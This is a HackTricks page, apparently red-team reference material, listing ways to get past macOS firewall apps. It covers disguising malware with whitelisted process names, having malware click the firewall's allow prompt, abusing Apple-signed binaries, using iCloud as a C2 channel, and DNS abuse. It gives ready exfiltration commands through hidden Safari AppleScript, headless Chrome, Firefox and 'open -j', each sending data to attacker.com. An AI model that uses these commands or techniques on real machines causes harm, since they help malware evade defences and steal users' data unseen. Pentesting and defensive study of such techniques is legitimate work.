macOS Bypassing Firewalls - HackTricks

# macOS Bypassing Firewalls

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Found techniques

The following techniques were found working in some macOS firewall apps.

### Abusing whitelist names

- For example calling the malware with names of well known macOS processes like `launchd`

### Synthetic Click

- If the firewall ask for permission to the user make the malware click on allow

### Use Apple signed binaries

- Like `curl`, but also others like `whois`

### Well known apple domains

The firewall could be allowing connections to well known apple domains such as `apple.com` or `icloud.com`. And iCloud could be used as a C2.

### Generic Bypass

Some ideas to try to bypass firewalls

### Check allowed traffic

Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them

    lsof -i TCP -sTCP:ESTABLISHED

### Abusing DNS

DNS resolutions are done via `mdnsreponder` signed application which will probably vi allowed to contact DNS servers.

### Via Browser apps

- oascript

    tell application "Safari"
        run
        tell application "Finder" to set visible of process "Safari" to false
        make new document
        set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
    end tell

- Google Chrome

    "Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"

- Firefox

    firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"

- Safari

    open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

### Via processes injections

If you can inject code into a process that is allowed to connect to any server you could bypass the firewall protections:

macOS Process Abuse

## References

- https://www.youtube.com/watch?v=UlT5KFTMn2k

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.